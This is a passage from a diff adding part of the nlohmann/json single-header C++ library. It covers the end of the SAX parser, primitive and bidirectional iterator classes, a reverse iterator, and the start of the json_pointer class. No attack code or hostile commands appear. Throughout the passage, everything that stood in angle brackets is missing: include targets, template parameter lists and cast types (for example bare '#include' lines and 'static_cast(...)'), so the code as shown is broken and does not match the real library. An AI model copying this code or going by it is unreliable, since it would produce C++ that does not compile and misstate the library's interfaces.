a + // new value, we need to evaluate the new state first. + // By setting skip_to_state_evaluation to false, we + // are effectively jumping to the beginning of this if. + JSON_ASSERT(!states.empty()); + states.pop_back(); + skip_to_state_evaluation = true; + continue; + } + + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::end_array, "array"))); + } + else // object + { + // comma -> next value + if (get_token() == token_type::value_separator) + { + // parse key + if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::value_string)) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::value_string, "object key"))); + } + + if (JSON_HEDLEY_UNLIKELY(!sax->key(m_lexer.get_string()))) + { + return false; + } + + // parse separator (:) + if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::name_separator)) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::name_separator, "object separator"))); + } + + // parse values + get_token(); + continue; + } + + // closing } + if (JSON_HEDLEY_LIKELY(last_token == token_type::end_object)) + { + if (JSON_HEDLEY_UNLIKELY(!sax->end_object())) + { + return false; + } + + // We are done with this object. Before we can parse a + // new value, we need to evaluate the new state first. + // By setting skip_to_state_evaluation to false, we + // are effectively jumping to the beginning of this if. + JSON_ASSERT(!states.empty()); + states.pop_back(); + skip_to_state_evaluation = true; + continue; + } + + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::end_object, "object"))); + } + } + } + + /// get next token from lexer + token_type get_token() + { + return last_token = m_lexer.scan(); + } + + std::string exception_message(const token_type expected, const std::string& context) + { + std::string error_msg = "syntax error "; + + if (!context.empty()) + { + error_msg += "while parsing " + context + " "; + } + + error_msg += "- "; + + if (last_token == token_type::parse_error) + { + error_msg += std::string(m_lexer.get_error_message()) + "; last read: '" + + m_lexer.get_token_string() + "'"; + } + else + { + error_msg += "unexpected " + std::string(lexer_t::token_type_name(last_token)); + } + + if (expected != token_type::uninitialized) + { + error_msg += "; expected " + std::string(lexer_t::token_type_name(expected)); + } + + return error_msg; + } + + private: + /// callback function + const parser_callback_t callback = nullptr; + /// the type of the last read token + token_type last_token = token_type::uninitialized; + /// the lexer + lexer_t m_lexer; + /// whether to throw exceptions in case of errors + const bool allow_exceptions = true; +}; +} // namespace detail +} // namespace nlohmann + +// #include + + +// #include + + +#include // ptrdiff_t +#include // numeric_limits + +namespace nlohmann +{ +namespace detail +{ +/* +@brief an iterator for primitive JSON types + +This class models an iterator for primitive JSON types (boolean, number, +string). It's only purpose is to allow the iterator/const_iterator classes +to "iterate" over primitive values. Internally, the iterator is modeled by +a `difference_type` variable. Value begin_value (`0`) models the begin, +end_value (`1`) models past the end. +*/ +class primitive_iterator_t +{ + private: + using difference_type = std::ptrdiff_t; + static constexpr difference_type begin_value = 0; + static constexpr difference_type end_value = begin_value + 1; + + JSON_PRIVATE_UNLESS_TESTED: + /// iterator as signed integer type + difference_type m_it = (std::numeric_limits::min)(); + + public: + constexpr difference_type get_value() const noexcept + { + return m_it; + } + + /// set iterator to a defined beginning + void set_begin() noexcept + { + m_it = begin_value; + } + + /// set iterator to a defined past the end + void set_end() noexcept + { + m_it = end_value; + } + + /// return whether the iterator can be dereferenced + constexpr bool is_begin() const noexcept + { + return m_it == begin_value; + } + + /// return whether the iterator is at end + constexpr bool is_end() const noexcept + { + return m_it == end_value; + } + + friend constexpr bool operator==(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it == rhs.m_it; + } + + friend constexpr bool operator<(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it < rhs.m_it; + } + + primitive_iterator_t operator+(difference_type n) noexcept + { + auto result = *this; + result += n; + return result; + } + + friend constexpr difference_type operator-(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it - rhs.m_it; + } + + primitive_iterator_t& operator++() noexcept + { + ++m_it; + return *this; + } + + primitive_iterator_t const operator++(int) noexcept + { + auto result = *this; + ++m_it; + return result; + } + + primitive_iterator_t& operator--() noexcept + { + --m_it; + return *this; + } + + primitive_iterator_t const operator--(int) noexcept + { + auto result = *this; + --m_it; + return result; + } + + primitive_iterator_t& operator+=(difference_type n) noexcept + { + m_it += n; + return *this; + } + + primitive_iterator_t& operator-=(difference_type n) noexcept + { + m_it -= n; + return *this; + } +}; +} // namespace detail +} // namespace nlohmann + + +namespace nlohmann +{ +namespace detail +{ +/*! +@brief an iterator value + +@note This structure could easily be a union, but MSVC currently does not allow +unions members with complex constructors, see https://github.com/nlohmann/json/pull/105. +*/ +template struct internal_iterator +{ + /// iterator for JSON objects + typename BasicJsonType::object_t::iterator object_iterator {}; + /// iterator for JSON arrays + typename BasicJsonType::array_t::iterator array_iterator {}; + /// generic iterator for all other types + primitive_iterator_t primitive_iterator {}; +}; +} // namespace detail +} // namespace nlohmann + +// #include + + +#include // iterator, random_access_iterator_tag, bidirectional_iterator_tag, advance, next +#include // conditional, is_const, remove_const + +// #include + +// #include + +// #include + +// #include + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +// forward declare, to be able to friend it later on +template class iteration_proxy; +template class iteration_proxy_value; + +/*! +@brief a template for a bidirectional iterator for the @ref basic_json class +This class implements a both iterators (iterator and const_iterator) for the +@ref basic_json class. +@note An iterator is called *initialized* when a pointer to a JSON value has + been set (e.g., by a constructor or a copy assignment). If the iterator is + default-constructed, it is *uninitialized* and most methods are undefined. + **The library uses assertions to detect calls on uninitialized iterators.** +@requirement The class satisfies the following concept requirements: +- +[BidirectionalIterator](https://en.cppreference.com/w/cpp/named_req/BidirectionalIterator): + The iterator that can be moved can be moved in both directions (i.e. + incremented and decremented). +@since version 1.0.0, simplified in version 2.0.9, change to bidirectional + iterators in version 3.0.0 (see https://github.com/nlohmann/json/issues/593) +*/ +template +class iter_impl +{ + /// allow basic_json to access private members + friend iter_impl::value, typename std::remove_const::type, const BasicJsonType>::type>; + friend BasicJsonType; + friend iteration_proxy; + friend iteration_proxy_value; + + using object_t = typename BasicJsonType::object_t; + using array_t = typename BasicJsonType::array_t; + // make sure BasicJsonType is basic_json or const basic_json + static_assert(is_basic_json::type>::value, + "iter_impl only accepts (const) basic_json"); + + public: + + /// The std::iterator class template (used as a base class to provide typedefs) is deprecated in C++17. + /// The C++ Standard has never required user-defined iterators to derive from std::iterator. + /// A user-defined iterator should provide publicly accessible typedefs named + /// iterator_category, value_type, difference_type, pointer, and reference. + /// Note that value_type is required to be non-const, even for constant iterators. + using iterator_category = std::bidirectional_iterator_tag; + + /// the type of the values when the iterator is dereferenced + using value_type = typename BasicJsonType::value_type; + /// a type to represent differences between iterators + using difference_type = typename BasicJsonType::difference_type; + /// defines a pointer to the type iterated over (value_type) + using pointer = typename std::conditional::value, + typename BasicJsonType::const_pointer, + typename BasicJsonType::pointer>::type; + /// defines a reference to the type iterated over (value_type) + using reference = + typename std::conditional::value, + typename BasicJsonType::const_reference, + typename BasicJsonType::reference>::type; + + /// default constructor + iter_impl() = default; + + /*! + @brief constructor for a given JSON instance + @param[in] object pointer to a JSON object for this iterator + @pre object != nullptr + @post The iterator is initialized; i.e. `m_object != nullptr`. + */ + explicit iter_impl(pointer object) noexcept : m_object(object) + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + m_it.object_iterator = typename object_t::iterator(); + break; + } + + case value_t::array: + { + m_it.array_iterator = typename array_t::iterator(); + break; + } + + default: + { + m_it.primitive_iterator = primitive_iterator_t(); + break; + } + } + } + + /*! + @note The conventional copy constructor and copy assignment are implicitly + defined. Combined with the following converting constructor and + assignment, they support: (1) copy from iterator to iterator, (2) + copy from const iterator to const iterator, and (3) conversion from + iterator to const iterator. However conversion from const iterator + to iterator is not defined. + */ + + /*! + @brief const copy constructor + @param[in] other const iterator to copy from + @note This copy constructor had to be defined explicitly to circumvent a bug + occurring on msvc v19.0 compiler (VS 2015) debug build. For more + information refer to: https://github.com/nlohmann/json/issues/1608 + */ + iter_impl(const iter_impl& other) noexcept + : m_object(other.m_object), m_it(other.m_it) + {} + + /*! + @brief converting assignment + @param[in] other const iterator to copy from + @return const/non-const iterator + @note It is not checked whether @a other is initialized. + */ + iter_impl& operator=(const iter_impl& other) noexcept + { + m_object = other.m_object; + m_it = other.m_it; + return *this; + } + + /*! + @brief converting constructor + @param[in] other non-const iterator to copy from + @note It is not checked whether @a other is initialized. + */ + iter_impl(const iter_impl::type>& other) noexcept + : m_object(other.m_object), m_it(other.m_it) + {} + + /*! + @brief converting assignment + @param[in] other non-const iterator to copy from + @return const/non-const iterator + @note It is not checked whether @a other is initialized. + */ + iter_impl& operator=(const iter_impl::type>& other) noexcept + { + m_object = other.m_object; + m_it = other.m_it; + return *this; + } + + JSON_PRIVATE_UNLESS_TESTED: + /*! + @brief set the iterator to the first value + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + void set_begin() noexcept + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + m_it.object_iterator = m_object->m_value.object->begin(); + break; + } + + case value_t::array: + { + m_it.array_iterator = m_object->m_value.array->begin(); + break; + } + + case value_t::null: + { + // set to end so begin()==end() is true: null is empty + m_it.primitive_iterator.set_end(); + break; + } + + default: + { + m_it.primitive_iterator.set_begin(); + break; + } + } + } + + /*! + @brief set the iterator past the last value + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + void set_end() noexcept + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + m_it.object_iterator = m_object->m_value.object->end(); + break; + } + + case value_t::array: + { + m_it.array_iterator = m_object->m_value.array->end(); + break; + } + + default: + { + m_it.primitive_iterator.set_end(); + break; + } + } + } + + public: + /*! + @brief return a reference to the value pointed to by the iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference operator*() const + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + JSON_ASSERT(m_it.object_iterator != m_object->m_value.object->end()); + return m_it.object_iterator->second; + } + + case value_t::array: + { + JSON_ASSERT(m_it.array_iterator != m_object->m_value.array->end()); + return *m_it.array_iterator; + } + + case value_t::null: + JSON_THROW(invalid_iterator::create(214, "cannot get value")); + + default: + { + if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.is_begin())) + { + return *m_object; + } + + JSON_THROW(invalid_iterator::create(214, "cannot get value")); + } + } + } + + /*! + @brief dereference the iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + pointer operator->() const + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + JSON_ASSERT(m_it.object_iterator != m_object->m_value.object->end()); + return &(m_it.object_iterator->second); + } + + case value_t::array: + { + JSON_ASSERT(m_it.array_iterator != m_object->m_value.array->end()); + return &*m_it.array_iterator; + } + + default: + { + if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.is_begin())) + { + return m_object; + } + + JSON_THROW(invalid_iterator::create(214, "cannot get value")); + } + } + } + + /*! + @brief post-increment (it++) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl const operator++(int) + { + auto result = *this; + ++(*this); + return result; + } + + /*! + @brief pre-increment (++it) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator++() + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + std::advance(m_it.object_iterator, 1); + break; + } + + case value_t::array: + { + std::advance(m_it.array_iterator, 1); + break; + } + + default: + { + ++m_it.primitive_iterator; + break; + } + } + + return *this; + } + + /*! + @brief post-decrement (it--) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl const operator--(int) + { + auto result = *this; + --(*this); + return result; + } + + /*! + @brief pre-decrement (--it) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator--() + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + { + std::advance(m_it.object_iterator, -1); + break; + } + + case value_t::array: + { + std::advance(m_it.array_iterator, -1); + break; + } + + default: + { + --m_it.primitive_iterator; + break; + } + } + + return *this; + } + + /*! + @brief comparison: equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator==(const iter_impl& other) const + { + // if objects are not the same, the comparison is undefined + if (JSON_HEDLEY_UNLIKELY(m_object != other.m_object)) + { + JSON_THROW(invalid_iterator::create(212, "cannot compare iterators of different containers")); + } + + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + return (m_it.object_iterator == other.m_it.object_iterator); + + case value_t::array: + return (m_it.array_iterator == other.m_it.array_iterator); + + default: + return (m_it.primitive_iterator == other.m_it.primitive_iterator); + } + } + + /*! + @brief comparison: not equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator!=(const iter_impl& other) const + { + return !operator==(other); + } + + /*! + @brief comparison: smaller + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator<(const iter_impl& other) const + { + // if objects are not the same, the comparison is undefined + if (JSON_HEDLEY_UNLIKELY(m_object != other.m_object)) + { + JSON_THROW(invalid_iterator::create(212, "cannot compare iterators of different containers")); + } + + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + JSON_THROW(invalid_iterator::create(213, "cannot compare order of object iterators")); + + case value_t::array: + return (m_it.array_iterator < other.m_it.array_iterator); + + default: + return (m_it.primitive_iterator < other.m_it.primitive_iterator); + } + } + + /*! + @brief comparison: less than or equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator<=(const iter_impl& other) const + { + return !other.operator < (*this); + } + + /*! + @brief comparison: greater than + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator>(const iter_impl& other) const + { + return !operator<=(other); + } + + /*! + @brief comparison: greater than or equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator>=(const iter_impl& other) const + { + return !operator<(other); + } + + /*! + @brief add to iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator+=(difference_type i) + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + JSON_THROW(invalid_iterator::create(209, "cannot use offsets with object iterators")); + + case value_t::array: + { + std::advance(m_it.array_iterator, i); + break; + } + + default: + { + m_it.primitive_iterator += i; + break; + } + } + + return *this; + } + + /*! + @brief subtract from iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator-=(difference_type i) + { + return operator+=(-i); + } + + /*! + @brief add to iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator+(difference_type i) const + { + auto result = *this; + result += i; + return result; + } + + /*! + @brief addition of distance and iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + friend iter_impl operator+(difference_type i, const iter_impl& it) + { + auto result = it; + result += i; + return result; + } + + /*! + @brief subtract from iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator-(difference_type i) const + { + auto result = *this; + result -= i; + return result; + } + + /*! + @brief return difference + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + difference_type operator-(const iter_impl& other) const + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + JSON_THROW(invalid_iterator::create(209, "cannot use offsets with object iterators")); + + case value_t::array: + return m_it.array_iterator - other.m_it.array_iterator; + + default: + return m_it.primitive_iterator - other.m_it.primitive_iterator; + } + } + + /*! + @brief access to successor + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference operator[](difference_type n) const + { + JSON_ASSERT(m_object != nullptr); + + switch (m_object->m_type) + { + case value_t::object: + JSON_THROW(invalid_iterator::create(208, "cannot use operator[] for object iterators")); + + case value_t::array: + return *std::next(m_it.array_iterator, n); + + case value_t::null: + JSON_THROW(invalid_iterator::create(214, "cannot get value")); + + default: + { + if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.get_value() == -n)) + { + return *m_object; + } + + JSON_THROW(invalid_iterator::create(214, "cannot get value")); + } + } + } + + /*! + @brief return the key of an object iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + const typename object_t::key_type& key() const + { + JSON_ASSERT(m_object != nullptr); + + if (JSON_HEDLEY_LIKELY(m_object->is_object())) + { + return m_it.object_iterator->first; + } + + JSON_THROW(invalid_iterator::create(207, "cannot use key() for non-object iterators")); + } + + /*! + @brief return the value of an iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference value() const + { + return operator*(); + } + + JSON_PRIVATE_UNLESS_TESTED: + /// associated JSON instance + pointer m_object = nullptr; + /// the actual iterator of the associated instance + internal_iterator::type> m_it {}; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + + +#include // ptrdiff_t +#include // reverse_iterator +#include // declval + +namespace nlohmann +{ +namespace detail +{ +////////////////////// +// reverse_iterator // +////////////////////// + +/*! +@brief a template for a reverse iterator class + +@tparam Base the base iterator type to reverse. Valid types are @ref +iterator (to create @ref reverse_iterator) and @ref const_iterator (to +create @ref const_reverse_iterator). + +@requirement The class satisfies the following concept requirements: +- +[BidirectionalIterator](https://en.cppreference.com/w/cpp/named_req/BidirectionalIterator): + The iterator that can be moved can be moved in both directions (i.e. + incremented and decremented). +- [OutputIterator](https://en.cppreference.com/w/cpp/named_req/OutputIterator): + It is possible to write to the pointed-to element (only if @a Base is + @ref iterator). + +@since version 1.0.0 +*/ +template +class json_reverse_iterator : public std::reverse_iterator +{ + public: + using difference_type = std::ptrdiff_t; + /// shortcut to the reverse iterator adapter + using base_iterator = std::reverse_iterator; + /// the reference type for the pointed-to element + using reference = typename Base::reference; + + /// create reverse iterator from iterator + explicit json_reverse_iterator(const typename base_iterator::iterator_type& it) noexcept + : base_iterator(it) {} + + /// create reverse iterator from base class + explicit json_reverse_iterator(const base_iterator& it) noexcept : base_iterator(it) {} + + /// post-increment (it++) + json_reverse_iterator const operator++(int) + { + return static_cast(base_iterator::operator++(1)); + } + + /// pre-increment (++it) + json_reverse_iterator& operator++() + { + return static_cast(base_iterator::operator++()); + } + + /// post-decrement (it--) + json_reverse_iterator const operator--(int) + { + return static_cast(base_iterator::operator--(1)); + } + + /// pre-decrement (--it) + json_reverse_iterator& operator--() + { + return static_cast(base_iterator::operator--()); + } + + /// add to iterator + json_reverse_iterator& operator+=(difference_type i) + { + return static_cast(base_iterator::operator+=(i)); + } + + /// add to iterator + json_reverse_iterator operator+(difference_type i) const + { + return static_cast(base_iterator::operator+(i)); + } + + /// subtract from iterator + json_reverse_iterator operator-(difference_type i) const + { + return static_cast(base_iterator::operator-(i)); + } + + /// return difference + difference_type operator-(const json_reverse_iterator& other) const + { + return base_iterator(*this) - base_iterator(other); + } + + /// access to successor + reference operator[](difference_type n) const + { + return *(this->operator+(n)); + } + + /// return the key of an object iterator + auto key() const -> decltype(std::declval().key()) + { + auto it = --this->base(); + return it.key(); + } + + /// return the value of an iterator + reference value() const + { + auto it = --this->base(); + return it.operator * (); + } +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + + +#include // all_of +#include // isdigit +#include // max +#include // accumulate +#include // string +#include // move +#include // vector + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +template +class json_pointer +{ + // allow basic_json to access private members + NLOHMANN_BASIC_JSON_TPL_DECLARATION + friend class basic_json; + + public: + /*! + @brief create JSON pointer + + Create a JSON pointer according to the syntax described in + [Section 3 of RFC6901](https://tools.ietf.org/html/rfc6901#section-3). + + @param[in] s string representing the JSON pointer; if omitted, the empty + string is assumed which references the whole JSON value + + @throw parse_error.107 if the given JSON pointer @a s is nonempty and does + not begin with a slash (`/`); see example below + + @throw parse_error.108 if a tilde (`~`) in the given JSON pointer @a s is + not followed by `0` (representing `~`) or `1` (representing `/`); see + example below + + @liveexample{The example shows the construction several valid JSON pointers + as well as the exceptional behavior.,json_pointer} + + @since version 2.0.0 + */ + explicit json_pointer(const std::string& s = "") + : reference_tokens(split(s)) + {} + + /*! + @brief return a string representation of the JSON pointer + + @invariant For each JSON pointer `ptr`, it holds: + @code {.cpp} + ptr == json_pointer(ptr.to_string()); + @endcode + + @return a string representation of the JSON pointer + + @liveexample{The example shows the result of `to_string`.,json_pointer__to_string} + + @since version 2.0.0 + */ + std::string to_string() const + { + return std::accumulate(reference_tokens.begin(), reference_tokens.end(), + std::string{}, + [](const std::string & a, const std::string & b) + { + return a + "/" + escape(b); + }); + } + + /// @copydoc to_string() + operator std::string() const + { + return to_string(); + } + + /*! + @brief append another JSON pointer at the end of this JSON pointer + + @param[in] ptr JSON pointer to append + @return JSON pointer with @a ptr appended + + @liveexample{The example shows the usage of `operator/=`.,json_pointer__operator_add} + + @complexity Linear in the length of @a ptr. + + @sa @ref operator/=(std::string) to append a reference token + @sa @ref operator/=(std::size_t) to append an array index + @sa @ref operator/(const json_pointer&, const json_pointer&) for a binary operator + + @since version 3.6.0 + */ + json_pointer& operator/=(const json_pointer& ptr) + { + reference_tokens.insert(reference_tokens.end(), + ptr.reference_tokens.begin(), + ptr.reference_tokens.end()); + return *this; + } + + /*! + @brief append an unescaped reference token at the end of this JSON pointer + + @param[in] token reference token to append + @return JSON pointer with @a token appended without escaping @a token + + @liveexample{The example shows the usage of `operator/=`.,json_pointer__operator_add} + + @complexity Amortized constant. + + @sa @ref operator/=(const json_pointer&) to append a JSON pointer + @sa @ref operator/=(std::size_t) to append an array index + @sa @ref operator/(const json_pointer&, std::size_t) for a binary operator + + @since version 3.6.0 + */ + json_pointer& operator/=(std::string token) + { + push_back(std::move(token)); + return *this; + } + + /*! + @brief append an array index at the end of this JSON pointer + + @param[in] array_idx array index to append + @return JSON pointer with @a array_idx appended + + @liveexample{The example shows the usage of `operator/=`.,json_pointer__operator_add} + + @complexity Amortized constant. + + @sa @ref operator/=(const json_pointer&) to append a JSON pointer + @sa @ref operator/=(std::string) to append a reference token + @sa @ref operator/(const json_pointer&, std::string) for a binary operator + + @since version 3.6.0 + */ + json_pointer& operator/=(std::size_t array_idx) + { + return *this /= std::to_string(array_idx); + } + + /*! + @brief create a new JSON pointer by appending the right JSON pointer at the end of the left JSON pointer + + @param[in] lhs JSON pointer + @param[in] rhs JSON pointer + @return a new JSON pointer with @a rhs appended to @a lhs + + @liveexample{The example shows the usage of `operator/`.,json_pointer__operator_add_binary} + + @complexity Linear in the length of @a lhs and @a rhs. + + @sa @ref operator/=(const json_pointer&) to append a JSON pointer + + @since version 3.6.0 + */ + friend json_pointer operator/(const json_pointer& lhs, + const json_pointer& rhs) + { + return json_pointer(lhs) /= rhs; + } + + /*! + @brief create a new JSON pointer by appending the unescaped token at the end of the JSON pointer + + @param[in] ptr JSON pointer + @param[in] token reference token + @return a new JSON pointer with unescaped @a token appended to @a ptr + + @liveexample{The example shows the usage of `operator/`.,json_pointer__operator_add_binary} + + @complexity Linear in the length of @a ptr. + + @sa @ref operator/=(std::string) to append a reference token + + @since version 3.6.0 + */ + friend json_pointer operator/(const json_pointer& ptr, std::string token) + { + return json_pointer(ptr) /= std::move(token); + } + + /*! + @brief create a new JSON pointer by appending the array-index-token at the end of the JSON pointer + + @param[in] ptr JSON pointer + @param[in] array_idx array index + @return a new JSON pointer with @a array_idx appended to @a ptr + + @liveexample{The example shows the usage of `operator/`.,json_pointer__operator_add_binary} + + @complexity Linear in the length of @a ptr. + + @sa @ref operator/=(std::size_t) to append an array index + + @since version 3.6.0 + */ + friend json_pointer operator/(const json_pointer& ptr, std::size_t array_idx) + { + return json_pointer(ptr) /= array_idx; + } + + /*! + @brief returns the parent of this JSON pointer + + @return parent of this JSON pointer; in case this JSON pointer is the root, + the root itself is returned + + @complexity Linear in the length of the JSON pointer. + + @liveexample{The example shows the result of `parent_pointer` for different + JSON Pointers.,json_pointer__parent_pointer} + + @since version 3.6.0 + */ + json_pointer parent_pointer() const + { + if (empty()) + { + return *this; + } + + json_pointer res = *this; + res.pop_back(); + return res; + } + + /*! + @brief remove last reference token + + @pre not `empty()` + + @liveexample{The example shows the usage of `pop_back`.,json_pointer__pop_back} + + @complexity Constant. + + @throw out_of_range.405 if JSON pointer has no parent + + @since version 3.6.0 + */ + void pop_back() + { + if (JSON_HEDLEY_UNLIKELY(empty())) + { + JSON_THROW(detail::out_of_range::create(405, "JSON pointer has no parent")); + } + + reference_tokens.pop_back(); + } + + /*! + @brief return last reference token + + @pre not `empty()` + @return last reference token + + @liveexample{The example shows the usage of `back`.,json_pointer__back} + + @complexity Constant. + + @throw out_of_range.405 if JSON pointer has no parent + + @since version 3.6.0 + */ + const std::string& back() const + { + if (JSON_HEDLEY_UNLIKELY(empty())) + { + JSON_THROW(detail::out_of_range::create(405, "JSON pointer has no parent")); + } + + return reference_tokens.back(); + } + + /*! + @brief append an unescaped token at the end of the reference pointer + + @param[in] token token to add + + @complexity Amortized constant. + + @liveexample{The example shows the result of `push_back` for different + JSON Pointers.,json_pointer__push_back} + + @since version 3.6.0 + */ + void push_back(const std::string& token) + { + reference_tokens.push_back(token); + } + + /// @copydoc push_back(const std::string&) + void push_back(std::string&& token) + { + reference_tokens.push_back(std::move(token)); + } + + /*! + @brief return whether pointer points to the root document + + @return true iff the JSON pointer points to the root document + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example shows the result of `empty` for different JSON + Pointers.,json_pointer__empty} + + @since version 3.6.0 + */ + bool empty() const noexcept + { + return reference_tokens.empty(); + } + + private: + /*! + @param[in] s reference token to be converted into an array index + + @return integer representation of @a s + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index begins not with a digit + @throw out_of_range.404 if string @a s could not be converted to an integer + @throw out_of_range.410 if an array index exceeds size_type + */ + static typename BasicJsonType::size_type array_index(const std::string& s) + { + using size_type = typename BasicJsonType::size_type; + + // error condition (cf. RFC 6901, Sect. 4) + if (JSON_HEDLEY_UNLIKELY(s.size() > 1 && s[0] == '0')) + { + JSON_THROW(detail::parse_error::create(106, 0, + "array index '" + s + + "' must not begin with '0'")); + } + + // error condition (cf. RFC 6901, Sect. 4) + if (JSON_HEDLEY_UNLIKELY(s.size() > 1 && !(s[0] >= '1' && s[0] <= '9'))) + { + JSON_THROW(detail::parse_error::create(109, 0, "array index '" + s + "' is not a number")); + } + + std::size_t processed_chars = 0; + unsigned long long res = 0; + JSON_TRY + { + res = std::stoull(s, &processed_chars); + } + JSON_CATCH(std::out_of_range&) + { + JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + s + "'")); + } + + // check if the string was completely read + if (JSON_HEDLEY_UNLIKELY(processed_chars != s.size())) + { + JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + s + "'")); + } + + // only triggered on special platforms (like 32bit), see also + // https://github.com/nlohmann/json/pull/2203 + if (res >= static_cast((std::numeric_limits::max)())) + { + JSON_THROW(detail::out_of_range::create(410, "array index " + s + " exceeds size_type")); // LCOV_EXCL_LINE + } + + return static_cast(res); + } + + JSON_PRIVATE_UNLESS_TESTED: + json_pointer top() const + { + if (JSON_HEDLEY_UNLIKELY(empty())) + { + JSON_THROW(detail::out_of_range::create(405, "JSON pointer has no parent")); + } + + json_pointer result = *this; + result.reference_tokens = {reference_tokens[0]}; + return result; + } + + private: + /*! + @brief create and return a reference to the pointed to value + + @complexity Linear in the number of reference tokens. + + @throw parse_error.109 if array index is not a number + @throw type_error.313 if value cannot be unflattened + */ + BasicJsonType& get_and_create(BasicJsonType& j) const + { + auto result = &j; + + // in case no reference tokens exist, return a reference to the JSON value + // j which will be overwritten by a primitive value + for (const auto& reference_token : reference_tokens) + { + switch (result->type()) + { + case detail::value_t::null: + { + if (reference_token == "0") + { + // start a new array if reference token is 0 + result = &result->operator[](0); + } + else + { + // start a new object otherwise + result = &result->operator[](reference_token); + } + break; + } + + case detail::value_t::object: + { + // create an entry in the object + result = &result->operator[](reference_token); + break; + } + + case detail::value_t::array: + { + // create an entry in the array + result = &result->operator[](array_index(reference_token)); + break; + } + + /* + The following code is only reached if there exists a reference + token _and_ the current value is primitive. In this case, we have + an error situation, because primitive values may only occur as + single value; that is, with an empty list of reference tokens. + */ + default: + JSON_THROW(detail::type_error::create(313, "invalid value to unflatten")); + } + } + + return *result; + } + + /*! + @brief return a reference to the pointed to value + + @note This version does not throw if a value is not present, but tries to + create nested values instead. For instance, calling this function + with pointer `"/this/that"` on a null value is equivalent to calling + `operator[]("this").operator[]("that")` on that value, effectively + changing the null value to an object. + + @param[in] ptr a JSON value + + @return reference to the JSON value pointed to by the JSON pointer + + @complexity Linear in the length of the JSON pointer. + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.404 if the JSON pointer can not be resolved + */ + BasicJsonType& get_unchecked(BasicJsonType* ptr) const + { + for (const auto& reference_token : reference_tokens) + { + // convert null values to arrays or objects before continuing + if (ptr->is_null()) + { + // check if reference token is a number + const bool nums = + std::all_of(reference_token.begin(), reference_token.end(), + [](const unsigned char x) + { + return std::isdigit(x); + }); + + // change value to array for numbers or "-" or to object otherwise + *ptr = (nums || reference_token == "-") + ? detail::value_t::array + : detail::value_t::object; + } + + switch (ptr->type()) + { + case detail::value_t::object: + { + // use unchecked object access + ptr = &ptr->operator[](reference_token); + break; + } + + case detail::value_t::array: + { + if (reference_token == "-") + { + // explicitly treat "-" as index beyond the end + ptr = &ptr->operator[](ptr->m_value.array->size()); + } + else + { + // convert array index to number; unchecked access + ptr = &ptr->operator[](array_index(reference_token)); + } + break; + } + + default: + 